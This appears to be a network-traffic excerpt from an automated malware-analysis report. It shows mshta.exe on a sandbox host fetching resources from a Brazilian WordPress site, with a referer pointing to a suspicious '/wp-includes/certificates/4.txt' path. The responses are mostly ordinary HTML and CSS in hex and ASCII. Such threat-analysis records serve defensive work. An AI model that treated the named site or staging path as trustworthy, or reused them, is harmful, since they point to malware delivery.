73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:05:54.970323086 CEST	1624	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:05:54.970359087 CEST	1626	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:05:54.970376968 CEST	1626	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:05:54.973573923 CEST	1628	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:05:54.973601103 CEST	1629	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:05:54.973618031 CEST	1631	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:05:54.973648071 CEST	1631	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:05:54.978925943 CEST	1632	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:05:54.978956938 CEST	1634	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:05:55.187484980 CEST	1635	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49773	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:54.198772907 CEST	1621	OUT	GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:55.321044922 CEST	1641	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:05:54 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:05:55.321145058 CEST	1643	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:05:55.321186066 CEST	1644	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:05:55.321218014 CEST	1645	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:05:55.323858976 CEST	1646	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:05:55.323901892 CEST	1647	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:05:55.323941946 CEST	1649	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:05:55.323970079 CEST	1649	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:05:55.329119921 CEST	1651	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:05:55.329171896 CEST	1652	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:05:55.533673048 CEST	1658	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49774	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:55.200840950 CEST	1640	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:55.430208921 CEST	1654	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:55 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51456-d17-5c93d38d9645e" Accept-Ranges: bytes Content-Length: 3351 Connection: close Content-Type: text/css Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 70 61 6e 2d 59 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 3b 2d 6d 6f 7a 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 2e 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 68 65 69 67 68 74 3a 30 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 2d 6f 75 74 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 6d 6f 7a 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 77 